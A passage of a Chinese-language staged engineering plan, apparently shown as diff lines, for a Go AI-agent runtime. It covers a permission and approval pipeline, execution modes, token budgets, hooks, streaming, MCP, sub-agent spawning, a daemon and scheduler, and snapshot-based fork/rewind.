prompt 注入 | S3 注入点:system prompt 尾部追加段(**S4.4a 会把它收编进 assembly 拼装序**,声明为计划内迁移) | 注入内容断言 | +| 3.6c | 跃迁 | `ExitPlanMode` tool + 审批通过 → `ModeChanged` event + 跃迁规则表 | plan→default 集成测试 | +| 3.6d | 优先级 | bypass 不跳 hooks 的精确语义 | 组合测试 | +| 3.7a | 预算 sub-state | reservation 集合入 fold state(2.4 声明的 S3 sub-state) | fold 等价测试更新 | +| 3.7b | 预留与结算 | LLM 按 max_tokens 预留、tool 按类别估值;`ActivityCompleted` 实结 | 单测 | +| 3.7c | 优雅收尾 | 资源超限 → 收尾消息 + `LimitExceeded`,**挂进 2.16 epilogue 序列**;结构限制 → error 结果 | 终态路径测试 | +| 3.7d | TOCTOU(合成) | **gate 级合成并发测试**(真实并行 S4.3 才存在,届时复验——见 S4.3) | N 合成并发不超支 | +| 3.8 | hooks v0 | pre/post 执行器(observe + block by exit code) | 恢复路径不重跑 hook(崩溃注入) | +| 3.9 | 错误渲染表 | error 分类(2.8)→ 模型可见渲染的统一函数(**归一化形态;per-provider 线上形态的映射在 S4.7**) | 每行一测;loop 继续性断言 | +| 3.10 | CLI 审批 UI | 终端交互批准/拒绝(附理由) | 手动 + scripted | + +**S3 完成标志**:plan mode 全流程;审批挂两天(FakeClock)后批准原地 +继续;合成 TOCTOU 不超支;不受信 hooks 不执行。 + +### S3 执行包(kickoff refinement 预定默认值——偏离须记入 PROGRESS.md) + +- **包布局**:`internal/pipeline`(effect 描述 + 四关卡 + 管线, + forbidigo 生效区)、`internal/config`(三源合并 + trust 注册表)、 + `internal/hook`(3.8 执行器)。mode/budget 的 fold sub-state 进 + `internal/state`(2.4 已声明:S3 加 `reservations` + `mode`, + SubStateVersions 加两键)。 +- **新 event 类型(加性,S2 的 15 个不动)**: + `effect_resolved{effect_id, activity_id, verdict: allow|deny, + gate_results: [{gate, decision, reason}]}`(判定终结后、执行前落盘; + deny 也落盘再渲染)/ + `approval_requested{approval_id, call_id, effect_id, gate_results, + payload_ref?}`(payload_ref 预留字符串,S2 无 ArtifactStore 留空)/ + `approval_responded{approval_id, decision: approve|deny, + reason?, source}`(外部输入,journal-inputs-first;WaitingResolved + 仍负责解除 WAITING_APPROVAL)/ + `mode_changed{from, to, cause}` / + `limit_exceeded{kind: tokens, limit, used}`。 +- **effect 描述**:`Effect{Kind: tool_call|llm_call, ToolName, Class, + Args, CallID, EstTokens}`;effect_id = `eff-` / `eff-llm-t`。 +- **关卡语义**:序 = pre-hooks → permission → budget;每关 + `Decision{Allow|Ask|Deny, Reason}`;**deny 短路**(后续关不跑), + ask 聚合(任一 ask 且无 deny → 审批,携带全部 gate_results—— + review 已并入的决定);全 allow → `effect_resolved{allow}` → 执行。 + bypass mode 跳过 permission/budget 的 ask/deny 但 **hooks 照跑** + (3.6d 语义)。 +- **permission rules YAML**(settings.yaml 的 `permissions:` 列表, + 首条匹配即生效——顺序即优先级;三源拼接序 user > project > spec): + `- {tool: bash, command: "go test *", action: allow}`(command 用 + path.Match 风格 glob,对整条命令)/ `- {tool: edit_file, + path: "src/**", action: ask}`(path 相对 workspace root,经 + workspace.Resolve 归一后匹配,`**` 支持)。**无规则命中时按 mode + 默认**:default mode = read:allow, edit:ask, execute:ask; + acceptEdits = edit 升 allow;plan = edit/execute 一律 deny(工具面 + 已过滤,双保险);bypass = 全 allow。 +- **mode**:spec 可设 `mode:`,CLI `--mode` 覆盖;跃迁规则表: + plan→default(经 ExitPlanMode 审批)、default↔acceptEdits(用户 + 命令)、任意→bypass 仅 CLI 启动时可设。`exit_plan_mode` 是 S3 新 + 内置 tool(class wait)。 +- **trust**:`$XDG_DATA_HOME/agentrunner/trusted.yaml`(列 realpath + 目录);`agentrunner trust ` 写入;project 层 settings 的 + hooks 段仅在 workspace root 受信时生效(permissions 段可用—— + 只收紧不放宽:不受信 project 的 allow 降级为 ask)。 +- **budget**:spec `budget: {max_total_tokens: N}`(可选,缺省无限); + LLM 活动预留 `max_tokens`、tool 按类估值(read 500 / edit 1000 / + execute 2000 tokens 记账口径,S3 粗价目表);`ActivityCompleted` + 实结(usage 抵预留);超限 → 3.7c 优雅收尾(epilogue quiesce 前 + 加 farewell slot——2.16 序列的既定挂点)。 +- **hooks v0**:settings `hooks: {pre_tool: [cmd], post_tool: [cmd]}`; + pre 以 JSON(stdin: effect)调用,exit 0 = observe/allow、exit 2 = + block(渲染 stderr 给模型),其他 exit = hook 错误(observe + 警告); + post 收 result JSON,输出挂 ActivityCompleted 的 `hook_note` 字段 + (加性)。超时 10s(经 Clock 不可行——hook 是外部进程,用真实 + timer,记为 forbidigo 豁免点,hook 包不在禁区)。 +- **审批 CLI**:TTY 下交互 `[y]es/[n]o + reason`;非 TTY(loop-mode) + 读 `AGENTRUNNER_APPROVE=always|never`(acceptance 用),缺省 never。 +- **恢复语义**:挂起中 kill → resume 重现 WAITING_APPROVAL(fold 已 + 支持)→ CLI 重新提示;审批经过关卡但 crash 于 `effect_resolved` + 前(`between_gate_and_resolved` 注入点)→ in-doubt 报告该 effect。 +- **S3 kickoff 回访项**(出口 review 递延):tool 活动可返回 activity + 错误后,ActivityFailed-重试窗口的非幂等重跑保护(见 S2 review 记录)。 + +--- + +## Stage 4 — 交互与上下文(模块序列) + +1. **协议 v1 + streaming**:输出事件流类型定稿;CLI 流式渲染;delta 走 + 2.10 的 ephemeral 进度通道;**`TurnDiscarded` 接线**——LLM activity + 在已流出 delta 后 retry → 发 discard 标记 → 前端重开流(scripted + partial-stream-retry 测试);**用户可见错误 surface**(与模型可见 + 渲染分离)。 +2. **steering/interrupt**:输入 journal 后 turn 边界消费;Esc → 协作 + 取消;2.14 可中断性表的 interrupt 列在此端到端复验。 +3. **并行 tool call**(预期返工 #2 落地):并发执行 allow 的 call + (ask 不阻塞);到达序落盘;assembly 按 call_id 原序重排回填; + **3.7d 的 TOCTOU 在真实并行下复验**。 +4a. **assembly 组件 + 拼装序**:fold → 请求的独立模块;固定拼装顺序; + env 块 session start 冻结;3.6b 的 mode 注入收编至此。 +4b. **tool 输出截断**(per-tool 上限 + 告知模型被截断)。 +4c. **prefix 稳定 + caching**:byte-stability 回归测试;cache 断点; + **cache_read/write 归一化入 usage event,budget 结算按真实计费口径**。 +4d. **signature 往返**:`Part.Extras` 持久化进 event、assembly 原样 + 回传(Gemini thoughtSignature 多轮测试)。 +5. **compaction**:`ContextCompacted` recorded activity 改变 fold 视图 + (2.4 sub-state);**fold 等价性质测试跨 compaction 边界**。 +6. **finish reason 策略**:归一化枚举;malformed_tool_call → retry + (复用 discard 路径);safety/blocked 上浮;空 candidate 注试。 +7. **Anthropic provider + capabilities 矩阵**:第二实现;**`thinking` + 进 spec model 块并按 provider 映射/显式降级**;**per-provider error + 线上形态**(Anthropic `is_error` / Gemini functionResponse error + 载荷);同一 scripted 矩阵跑双 provider。 +8. **session UX + inspect v0**:`sessions list/show`、resume 流式续接; + `agentrunner inspect `:turns、每个 call 的 `EffectResolved` + 判定、token/cost/cache 列(2.5 的 events 命令进化版)。 + +**S4 完成标志**:单 agent 体验接近 Claude Code;**inspect v0** 可见 +缓存命中;Esc 500ms 内杀掉任意 tool call;双 provider 矩阵全绿。 + +### S4 执行包(kickoff refinement 预定默认值——偏离须记入 PROGRESS.md) + +- **包布局**:`internal/protocol`(输出事件流类型 + 编码)、 + `internal/agent/assembly.go`(4a 独立 assembly,把现 `assembleMessages` + 抽出)、provider 下加 `anthropic/`(4.7)。streaming 渲染在 cli。 +- **加性 event 类型(S2/S3 不改)**: + `TurnDiscarded{turn, reason}`(LLM 已流出 delta 后 retry;fold 丢弃 + 该 turn 的半成品 assistant 累积——但 assistant_message 只在成功后 + 落盘,故 fold 层无半成品,TurnDiscarded 主要驱动**前端重开流**信号, + 记为 ephemeral-伴生 durable 标记) / + `ContextCompacted{upto_turn, summary_ref, dropped_turns}`(5;summary_ref + 预留 ArtifactStore,S4 先内联 summary 字段) / + `MalformedToolCall{turn, raw, error}`(6;驱动 retry,复用 discard 路径)。 +- **输出协议(protocol 包)**:`StreamEvent` 输出侧(区别于 provider 输入 + 侧的同名类型——protocol 是**面向 surface** 的):`{kind, turn, ...}`, + kind ∈ `text_delta | tool_call | tool_result | turn_start | turn_end | + approval_request | mode_changed | run_end | error | discard`。JSON 行 + 编码(`--json` 流)+ 人读渲染两套 sink。**用户可见错误**(protocol + error kind)与**模型可见错误**(errs.RenderForModel,3.9)分离:前者进 + stream 给人看,后者进 fold 给模型看。 +- **ephemeral 进度通道兑现**:2.10 预留的 `Activity.Progress` 在 S4.1 + 接线——LLM activity 的 text delta 经 Progress 回调 → protocol + text_delta,**不落 journal**(delta 是 ephemeral,成功后的 assembled + message 才落 assistant_message,TurnDiscarded 契约)。 +- **steering/interrupt(4.2)**:复用 3.5 的 `Loop.Interrupts` 通道 + + 2.14 可中断性表。turn 边界消费:interrupt 在 turn 中到达 → journal + `InputReceived{source: interrupt}` → 当前 activity 取消(2.12 路径)→ + turn 边界把 interrupt 文本作为新 user input 注入。Esc = 首个 interrupt + (协作取消,run 继续);第二 Esc/SIGTERM = 硬取消(3.10 signalContext + 已实现,S4 扩展 interrupt 语义)。**500ms 杀 tool call** = 现 killGroup + 路径(SIGTERM→5s 宽限太慢,S4 把交互取消的宽限缩到 500ms,与 timeout + 取消区分:交互取消急、超时取消可宽限)。 +- **并行 tool call(4.3,预期返工 #2)**:同一 assistant turn 的多个 allow + 的 tool call **并发执行**(经 `parallel`-式 goroutine + errgroup 风格 + 收集);ask 的 call 不阻塞其他(但 ask 本身串行审批,避免多弹窗竞争 + ——S4 决定:一个 turn 内多个 ask 顺序审批)。到达序落盘(ActivityCompleted + 按完成先后),assembly 按 call_id **原序**重排回填(fold 的 ToolResults + 是 map,assembly 按 assistant message 里 tool_call 的顺序读)。**3.7d + TOCTOU 真实并行复验**:BudgetGate 的 reserve-then-settle 在真并发下不 + 超支(现合成测试升级为真 goroutine)。**appendE 串行化**:并行 activity + 的 journal 写必须过单一 appendE(mutex 或 channel 序列化)——fold 是 + 单线程折叠,这是 S4.3 的核心不变量。 +- **assembly(4a)**:`assembly.Build(state.State, mode, tools) → + CompleteRequest`,固定拼装序:system prompt → mode 注入(3.6b 收编)→ + env 块(session start 冻结,byte-stable)→ conversation。golden 测试 + 从 loop_golden 迁至 assembly 包。 +- **caching(4c)**:usage event 已有 cache_read/write 字段(S1 provider + 类型),S4 确保 budget 结算按 `input + output - cache_read` 真实计费 + 口径(现 budget 用 input+output,4c 修正);prefix byte-stability 回归 + (env 块冻结是关键)。 +- **finish reason(6)**:`provider.FinishReason` 归一枚举已在 S1 + (end_turn/tool_use/max_tokens/other);S4 加 `malformed_tool_call` + (provider 解析 tool call 失败)→ MalformedToolCall event + retry; + safety/blocked → FinishOther 已有,S4 上浮为用户可见 error。 +- **Anthropic provider(4.7)**:`internal/provider/anthropic`,`anthropic-sdk-go`; + capabilities 矩阵(thinking/cache/parallel_tools 各 provider 声明); + thinking 进 `spec.model.thinking`(bool/budget)按 provider 映射; + per-provider error 线上形态映射到 errs.Class(3.9 归一化的线上侧, + S4.7 补齐)。同一 scripted 矩阵双 provider 跑。 +- **inspect(4.8)**:`agentrunner inspect `——events 命令进化: + turns 表 + 每 call 的 EffectResolved 判定 + token/cost/cache 列(从 + fold 的 usage + effect_resolved 读)。 +- **顺序微调预授权**:4a(assembly 抽取)可提前到 4.1 之前做(streaming + 依赖 assembly 已是独立模块更干净);4c(caching)依赖 4a 的 env 块冻结, + 顺序不变。 +- **回访项**:S3 记档的 AGENTRUNNER_APPROVE footgun 在 4.2 interrupt + 落地后复审(交互式审批 UI 已在 3.10,loop-mode 的 auto-approve 语义 + 是否收紧);record recorder 按单 delta redact 的跨分片泄漏(S2 review + 递延)在 4.1 流式协议重构 recorder 时合并修。 + +--- + +## Stage 5 — 生态与多 agent(模块序列) + +1. **MCP client**:官方 Go SDK、生命周期带外、schema 入 event、 + `mcp____` 命名、无标签按 execute-class、 + **spec `allowed_tools` 收窄(含否定测试)**。 +2. **skills + memory 文件**:目录发现、frontmatter、按需加载;CLAUDE.md + 层级合并入 assembly;**skill 目录注入 assembly 层(prefix 稳定)**。 +3. **spawn/await**:子 agent 作为 activity;**子 agent 目录注入 system + prompt**(不注入模型不知道能 spawn 谁);权限 rules spawn 冻结交集; + 树预算 min 聚合 + 深度/扇出上限;审批沿 correlation 冒泡。 +4. **handoff + pub/sub**:移交语义;blackboard topic。 +5. **ArtifactStore**:CAS、`publish_artifact`、per-stream 版本、manifest。 +6. **outputs contract**:2.16 epilogue 的 auto-publish 槽位**填实**; + 缺 required → parent error 结果。 +7. **审批载荷**:3.5 预留的 `payload_ref` 启用;plan 审批全流程 + (发布→审→拒→v2→批)。 +8. **artifact 输入**:spawn/CLI 传 ref、materialize activity。 +9. **inspect 扩展**:子 agent 树(correlation/causation 渲染)。 + +**S5 完成标志**:researcher 编队产出带 contract 检查的报告;plan 审批 +全流程;越权/预算击穿否定测试全绿。 + +### S5 执行包(kickoff refinement 预定默认值——偏离须记入 PROGRESS.md) + +**跨切不变量(S5 的四条硬线,每步都要守)**: + +- **权限交集冻结、绝不上扬**:spawn 时子 agent 的 permission rules = + `intersect(parent 的 live rules, child spec rules)`——只会更严不会更松; + **mode 不交集**(子 agent mode 不得比 parent 更宽,plan/acceptEdits/bypass + 的放宽只能由 parent 显式下传,且仍受 hardFloor 约束);交集在 spawn 时 + **冻结**进子 run 的 RunStarted,子 agent 运行中不可再拓宽。否定测试: + parent=plan 时子 agent 仍不能 execute;parent 的 deny rule 子 agent 继承。 +- **树预算不可击穿**:树预算按 **min 聚合**下传——子树可用 = + `min(parent 剩余, child spec 上限)`;子 agent 的 reservation 记进 + **parent 的 budget 视图**(reserve-then-settle 沿 correlation 上卷), + 深度/扇出上限硬约束(超限 = spawn 被 pipeline deny,非 crash)。否定测试: + N 个子 agent 并发申请超过树预算 → 后来者被拒,总结算不超树上限。 +- **artifact blob 先于 event**(镜像 journal 的 fsync-先于-ack):CAS blob + **写入+fsync 完成后**才 journal publish event——event 里的 ref 永远可解析, + 绝无悬空引用。崩溃在 blob 写与 event 之间 = blob 成孤儿(GC 回收),不破坏 + 一致性(与 2.13 snapshot"优化而非真相"同构)。 +- **prefix 稳定 under 目录注入**:skill 目录、子 agent 目录、memory + (CLAUDE.md 层级)注入 assembly 的**冻结 prefix 段**(session start 冻结, + 4.4c 的 env 块同款)——byte-stable,caching 不被打爆。模型不知道能 spawn + 谁就永远不 spawn(目录注入是 multi-agent 可用的前提,DESIGN §context)。 + +**逐模块细化**: + +1. **MCP client(预期返工 #1)**:官方 `modelcontextprotocol/go-sdk`。 + **生命周期带外**:MCP server 连接是 runtime 状态(非 event-sourced), + **只有发现的 tool schema 入 event**(resume 知道 tool face);resume 时 + 带外重连 server、把线上 schema 与 journaled schema 对账(漂移 = 拒绝 + 或显式换代,同 2.13 版本纪律)。命名 `mcp____` 全限定; + 无 annotation 的 tool 按 **execute-class**(最保守,过 permission)。 + **spec `allowed_tools` 收窄**(含否定测试:未列的 MCP tool 不 advertise、 + 即便模型硬调也被 deny)。 +2. **skills + memory 文件**:目录发现 + frontmatter 解析 + **按需加载** + (skill body 不进 prefix,只有目录/描述进——避免 prefix 膨胀);CLAUDE.md + **层级合并**(cwd 向上到 repo root,近者优先)入 assembly 的 memory 层; + skill 目录注入 assembly(在 env 块之后、spec prompt 之前,固定序, + prefix 稳定)。 +3. **spawn/await(预期返工 #2:actor 边界的 correlation 路由)**:子 agent + = 一个 activity(走 L2 管线,`spawn` 效果过 permission),内部是一个 + **fresh child run**(同 spec → prefix 逐字节稳定、故障隔离、迭代边界 + 天然 barrier——决策表 #21)。子 agent 目录注入 parent 的 system prompt + (模型不知道能 spawn 谁就不 spawn)。权限交集冻结 + 树预算 min 聚合(见 + 上)。**审批沿 correlation 冒泡**:子 agent 的 ApprovalRequested 沿 + correlation 链上卷到 frontend,人答一次,答案回流(3.5 审批流的分布式 + 化;这是预期返工点——跨 actor 的 waiting 路由)。 +4. **handoff + pub/sub**:移交(handoff = 把控制权 + context ref 交给另一 + agent,非 spawn 子树)与 blackboard topic(pub/sub 走 L0 kernel bus, + 订阅进 fold 的 waiting 或 activity 集合)。两模式复用 spawn 的权限/预算 + 下传纪律。 +5. **ArtifactStore(复用 SnapshotStore 的 CAS 模式)**:content-addressed + (hash = ref)、opaque ref、blob 先于 event(见上)、per-stream 版本、 + manifest(stream → 版本链)。`publish_artifact` 过管线(发布即持久、 + 即 durable)。**"SnapshotStore 模式复用为 ArtifactStore"**是本 stage 的 + 教义重点——同一 CAS 抽象。 +6. **outputs contract**:2.16 epilogue 的 **auto-publish 槽位填实**(骨架 + 与钩子 2 已在 S2 落位):收尾自动 publish spec 声明的 `outputs:`; + **缺 required output → parent 拿到 error 结果**(非静默成功——contract + 是交付物的硬检查)。 +7. **审批载荷(payload_ref)**:3.5 预留的 `ApprovalRequested{payload_ref}` + **启用**——大载荷(plan 全文)存 ArtifactStore,审批请求只带 ref + 短 + 摘录(2.4 的 payload_ref 预留兑现)。plan 审批全流程:发布 plan artifact + → 审 → 拒(附理由)→ agent 出 v2 → 批。**contract(交付物)与协调对象 + (plan)分离**——plan 是 artifact,审批是协调,二者解耦。 +8. **artifact 输入**:spawn/CLI 传 artifact ref;**materialize activity** + 把 ref 解成 workspace 文件或 context(过管线,可审计)。 +9. **inspect 扩展**:子 agent 树渲染(correlation/causation 展开父子 run 的 + timeline);artifact 列(publish 的 ref + stream 版本)。 + +**新增 event / 存储(本表声明,shape 逐步细化)**:`SpawnRequested`/ +`SubagentCompleted`(子 agent activity 的专属终态,携 child run ref)、 +`ArtifactPublished{stream, version, ref, manifest}`、`ApprovalRequested` +扩 `payload_ref`。**ArtifactStore 是独立 CAS**(非 fold sub-state,与 +SnapshotStore 同层);子 agent 树骑在既有 Activities + correlation 上, +S5 **不新增 fold sub-state**(tasks 是 S6)。 + +**顺序微调预授权**:配置三源合并已在 3.4 提前落地,S5 module 2 只剩 +skills/memory 合并,直接建在 3.4 的 Merge/trust 之上。MCP(module 1)先行 +是因为 tool face 的扩展(MCP tool 入 advertised 面)是 assembly/permission +的输入,skills/spawn 都依赖稳定的 tool face。 + +**acceptance 场景(accept --stage 5,对应完成标志逐句)**: +- `s5_fleet`:researcher 编队(parent + 2 子 agent)→ 带 contract 检查的 + 报告 artifact(缺 required output 时 parent 拿 error 结果的分支单测)。 +- `s5_plan_approval`:发布 plan artifact → 审 → 拒(理由)→ v2 → 批全流程, + payload_ref 走通。 +- `s5_no_escalation`(否定):parent=plan / 带 deny rule → 子 agent 不能 + execute、不能拓宽 mode、不能调用未继承的 tool。 +- `s5_budget_seal`(否定):树预算 min 聚合下 N 子 agent 并发不击穿树上限。 + +**回访项**:MCP 无 annotation tool 的 execute-class 默认(线上遇到富 +annotation 的 server 时复审是否细分 class);审批 correlation 冒泡在跨 +process(S6 daemon)下的路由(S5 单 process 内先走通,S6 daemon 化时复验)。 + +--- + +## Stage 6 — 服务化与运行模式(模块序列) + +1. **daemon**:本地 socket server 托管 runtime;CLI attach/detach + (journal 补读 + 订阅);`runtime.daemon: never` 降级。 +2. **notifier**:生命周期 topic、`NotificationSent` 去重 stream、 + 启动对账;通道 = user 层配置(文档化 carve-out)。 +3. **background effects**:`background: true`、handle = ActivityStarted + 渲染、完成 = user-role 输入、`WAITING_TASKS` 行激活(2.14 表已定义)、 + `task_output/kill`、`on_run_end`;epilogue quiesce 槽位填实; + task tail 复用 2.10 进度通道。 +4. **scheduler**:cron/interval(走 Clock)→ 幂等 `RunAgent`;webhook。 +5. **IterationDriver**:driver actor + 统一事件族;goal(三种 verifier + + 停滞检测);loop(`schedule_next`/`finish_series`、overlap); + carry 走 ArtifactStore、series memory 注入时截断。 +6. **HTTP/WS 壳**:同一协议远程暴露;headless 收口。 + +**阶段内可延后项(cut line)**:best-of-N(`parallel{n}`)与 HTTP/WS +壳可移出 S6 收口、随后补——不影响完成标志。 + +**S6 完成标志**:series 无人 attach 跑过夜出通知;goal 三轮迭代到 +verifier 通过;CLI 重开 attach 回同一 run。 + +### S6 执行包(kickoff refinement 预定默认值——偏离须记入 PROGRESS.md) + +**跨切硬线(S6 的四条,每步都要守)**: + +- **订阅不改结果**:attach = journal 补读到 seq N + 订阅 live topic, + detach **零事件**;错过的 ephemeral delta 按 doctrine 丢失,组装消息/ + durable 事实绝不丢。frontend 只是订阅者——"后台"是 attach 问题, + 不是执行模式。 +- **command 幂等**:RunAgent / iteration launch 按 `Envelope.id` 幂等 + (launch id = `hash(driver_id, n)`),journal-before-send,崩溃后重发 + 不拉起重复 run。scheduler/webhook/CLI 发的是同一条 command。 +- **notifier 自有去重 stream**:`NotificationSent` 记在 notifier 自己的 + stream,启动时与 store 对账;通知通道是**文档化 carve-out**(与 hooks + 同类)——不过四关卡,只认 user 层配置,永不来自 repo。 +- **driver 不碰 LLM/workspace**:driver 是纯 fold + 事件族,每轮 spawn + **fresh child run**(同 spec → prefix 逐字节稳定跨迭代命中缓存、失败 + 迭代不污染后续);driver 是树预算的根(reserve-at-launch / + settle-at-completion,复用 S5.3 allowance 机制)。 + +**先还 S5 留债(进入模块前的小步序列)**:①S4 acceptance 场景包回补 +(横切纪律);②CLI 渲染重复修复(textRenderer 对 scripted 双打印,S4.1 +遗留);③EnvApprovals 序列语法 `AGENTRUNNER_APPROVE=deny:reason,approve` +(场景可脚本化序列应答,s5-02 补拒→v2→批腿)。 + +**逐模块细化**: + +1. **background effects + tasks sub-state(不依赖 daemon,先做)**: + tool call 带 `background: true` → activity 启动后**立即返回 handle** + (handle = ActivityStarted 的 fold 渲染,配对当场满足:tool_result = + `{task_id, status: running}`);完成时结果以 **user-role 输入**进 + conversation(下一 turn 可见)。**新 fold sub-state `tasks`(version 1, + 2.4 表声明的 S6 新增,版本集 9→10)**:in-flight 后台任务集 + {task_id → activity_id, started, tail}。`WAITING_TASKS` 行激活(2.14 + 表):无未决 tool call、无新输入、有在飞 task → park。内置 tool + `task_output{task_id}`(读进度 tail,2.10 进度通道复用)与 + `task_kill{task_id}`;`on_run_end: cancel|await`(spec 级,默认 + cancel)→ **epilogue quiesce 槽位填实**(钩子 2 兑现:await = 等全部 + task 终态,cancel = 协作取消)。 +2. **IterationDriver — goal mode 先行**:driver 自有 EventStore + (sessions//,child runs 是它的 sub/)与纯 fold(iterations、 + verdicts、budget)。事件族 `IterationScheduled/Launched/Completed/ + Skipped`、`DriverCompleted{reason: satisfied|stalled|max_iterations| + budget|stopped|child_failed}`。goal = `schedule: immediate` + + verifiers 必填:`command`(bash-class effect,exit code / metric + regex)、`llm_judge`(LLM activity + rubric + threshold)、`human` + (现有 ask 路径)。verdict journal 进 IterationCompleted;**停滞检测 + 纯 fold**(patience 轮无改善 / 失败指纹连续相同 → stalled + 最佳迭代 + carry)。carry 文档存 ArtifactStore,IterationCompleted 只带 ref + + 短摘录。`on_child_failure: stop|surface|retry{max,backoff}`、 + `on_reserve_failure: skip|stop`(policy 级重试≠恢复机制,原则 6 + 不禁止)。 +3. **scheduler**:发布幂等 `RunAgent` command 的普通 actor; + interval/cron 走 Clock(FakeClock 可测);cron 解析用最小自实现 + (五字段,无依赖)或 robfig/cron(决策记档)。loop mode 补齐: + `schedule: interval|cron|self_paced`;self_paced 内置 tool + `schedule_next{after}`(过管线 → durable timer,min/max 钳位 + + `on_no_intent` 兜底)与 `finish_series`(human verifier 把关); + `overlap: skip|coalesce|interrupt`(跳过 = IterationSkipped 事件, + 不沉默)。series memory 注入时截断(权威边界)。 +4. **daemon(最大风险块,纯逻辑落稳后服务化)**:本地 unix socket + server 托管 runtime;线协议 = protocol 包 JSON 行(与 `--json` 同一 + 编码,双向:client→server 为 command,server→client 为输出事件); + `attach ` = 补读 + 订阅,detach 零事件; + `runtime.daemon: never` 降级为现有 durable park。**daemon 是 durable + timer 的触发者**(timer 派生索引,到期 journal TimerFired + 发起 + resume——cron/审批过期同机制)。**优雅停机**:SIGTERM → 协作取消全部 + 在飞 activity(ActivityCancelled)→ snapshot → 退出,例行 deploy 零 + in-doubt。session-per-process 拓扑推荐但 v0 单进程多 session 可接受 + (记档)。**S5 回访项在此兑现**:审批沿 correlation 跨进程路由(child + 的 ask 经 socket 上卷到 attach 的 frontend);权限交集**物化为数据** + journal 进 child RunStarted(跨进程后 gate 指针链不复存在,必须物化)。 +5. **notifier**:L4 actor 订阅 run/driver 生命周期 topic(终态、 + WAITING_APPROVAL、IterationCompleted);通道 v0 = user 配置的 shell + command(`notify: command: [...]`,ntfy/mail 皆可挂)+ stderr 兜底; + NotificationSent 去重 stream + 启动对账。**blackboard bus 镜像回访项 + 在此兑现**(Publish 镜像到 kernel bus ephemeral topic,notifier/ + frontend 可订阅)。 +6. **HTTP/WS 壳(cut line,可延后出收口)**:同一 protocol 暴露; + headless 收口。 + +**新增 event / sub-state(本表声明,shape 逐步细化)**: +`TaskStarted/TaskCompleted` 不新设——后台任务复用 Activity 事件族,tasks +sub-state 从 ActivityStarted{background} 折叠;`IterationScheduled/ +Launched/Completed/Skipped`、`DriverCompleted`(driver stream 专属); +`NotificationSent`(notifier stream 专属);`RunAgent` command(kernel +command 家族)。fold 版本集:+tasks(9→10);driver/notifier 的 stream 各自 +独立 fold,不入 run 的 SubStateVersions。 + +**顺序微调预授权**:实施序 = 还债 → 1(background/tasks)→ 2(driver +goal)→ 3(scheduler + loop)→ 4(daemon)→ 5(notifier)→ 6(壳,可 +延后)。PLAN 模块序原以 daemon 为首;倒排理由:daemon 是最大风险块, +tasks fold 与 driver fold 是纯逻辑,先落稳再服务化,且 goal mode 完成 +标志不依赖 daemon。**边际预算预扣复审**(S5 回访)挂在模块 2 driver +预算根落地时。 + +**acceptance 场景(accept --stage 6,完成标志逐句)**: +- `s6_series_overnight`:cron series 无人 attach 跑 N 轮(短 interval + 模拟过夜)→ 通知发出(command 通道写文件断言)、IterationCompleted×N、 + 无重复 launch。 +- `s6_goal_verify`:goal run 以 command verifier 三轮迭代到通过 + (DriverCompleted{satisfied}),verdict 链完整。 +- `s6_reattach`:run 挂起(WAITING_APPROVAL/TASKS)→ CLI 退出重开 + attach → 补读一致、继续到完成——"回同一 run"。 + +**回访项清单(S5 → S6,兑现位置)**:权限交集物化(模块 4)、审批跨进程 +路由(模块 4)、EnvApprovals 序列(还债③)、S4 场景回补(还债①)、 +blackboard bus 镜像(模块 5)、渲染重复(还债②)、边际预算预扣(模块 2)。 + +--- + +## Stage 7 — 世界状态生命周期(S7 执行包,kickoff refinement 于 S6 关闭后写就) + +范围按 `STAGES.md` S7 章;此包只做切分与口径,不改 DESIGN 不变量 +(barrier 弱化的 DESIGN §fork/rewind 修订在模块 2 实施时按不变量变更 +流程走——DESIGN §fork/rewind 末注已预告)。 + +**四条跨切硬线**: +1. **快照永远是优化/物化,journal 是真相**:SnapshotStore ref 对上层 + opaque;快照 pinned until explicit GC(rewind 后较新快照不失联); + backend=none 全程可用(fork/rewind 优雅降级,其余不受影响)。 +2. **barrier 弱化语义(consistent-enough cut)**:不要求全树静默—— + barrier event 记录 {stream→seq} 向量 + snapshot ref 集 + **in-flight + 后台任务清单及处置策略**(S6 tasks fold 的 dogfood 直接输入); + fork/rewind 唯一合法目标仍是 barrier,任意 seq 切割不提供。 +3. **fork 两轴正交**:事件切面(选哪个 barrier)× 快照物化(是否/如何 + 重建 worktree)是独立决定——对话回退可不动代码、代码回退可不动 + 对话;fork 永不与原 run 共享目录。 +4. **shadow repo 隐形**:独立 GIT_DIR 在 harness 数据目录,对用户 repo + 与 agent 的 git 操作皆不可见;排除策略成文(凭据/.env 等路径明确 + 在 rewind 范围外——rewind 不得复活已删凭据或回滚已收紧的 deny)。 + +**逐模块细化(实施序 = 还债 → 纯逻辑 → 集成,微调预授权)**: + +0. **S6 还债包**:verifier 管线化(journaled activity + 四关卡判定, + S6 裁定的 v0 例外收回)、await park 的 durable timer 兜底(DESIGN + "必有")、driver stream header 事实(spec/版本入 journal,version + discipline 补齐)、daemon idem 持久化(key 索引落盘,跨重启)。 + 每项一步一提交,可与模块 1 穿插。 +1. **SnapshotStore 接口 + shadow repo backend**:`Snapshot(ws) → ref` + / `Materialize(ref, dir)`;独立 GIT_DIR(commit-per-snapshot, + worktree 物化);排除策略(.gitignore 语义 + 硬排除表);延迟基准 + 记档(大 repo 首拍/增量);backend=none 与 git 缺失降级。 +2. **CheckpointBarrier(弱化版)**:turn 边界打点(epilogue barrier + 槽位填实——2.16 预留至此兑现)+ 显式打点入口;event 载荷 = + {stream→seq} 向量(含子 agent)+ snapshot refs + tasks 处置向量; + **fold sub-state `barriers`(版本集 10→11)**;DESIGN §fork/rewind + 弱化修订在此步随 commit 落地(变更流程)。 +3. **fork / rewind**:`fork ` = 新 run id 下复制 + 切面内 events + `ForkedFrom{run, barrier}` 创世 + id remapping + + 从 snapshot 物化独立 worktree;rewind = fork + 用户显式切换; + 跨 compaction 边界语义按 DESIGN §compaction 处理。完成标志①② + 在此验收。 +4. **IndexStore + indexer actor + `semantic_search`**(additive, + 独立):第四类状态 = 可从 workspace 重建的派生索引,不入 run 版本集 + (同 driver/notifier stream 例)。 +5. **OS 沙箱 backend + 网络出口策略**(additive,独立;安全优先级 + 提前时可整体前移):rules 加 network 资源类;`EffectResolved` 记录 + 生效 containment。 +6. **云 workspace 生命周期(cut line)**:provision → live → teardown; + resume 从外部源重建 workspace;store 外置;setup prologue 走信任 + 模型。 +7. **IDE 方向(可选,cut line)**:advisory-inference 旁路、buffer + overlay、`promote_worktree_diff`、per-hunk 部分接受。 + +**新 event / sub-state(声明,shape 模块内细化)**: +`CheckpointBarrier{barrier_id, vector, snapshot_refs, 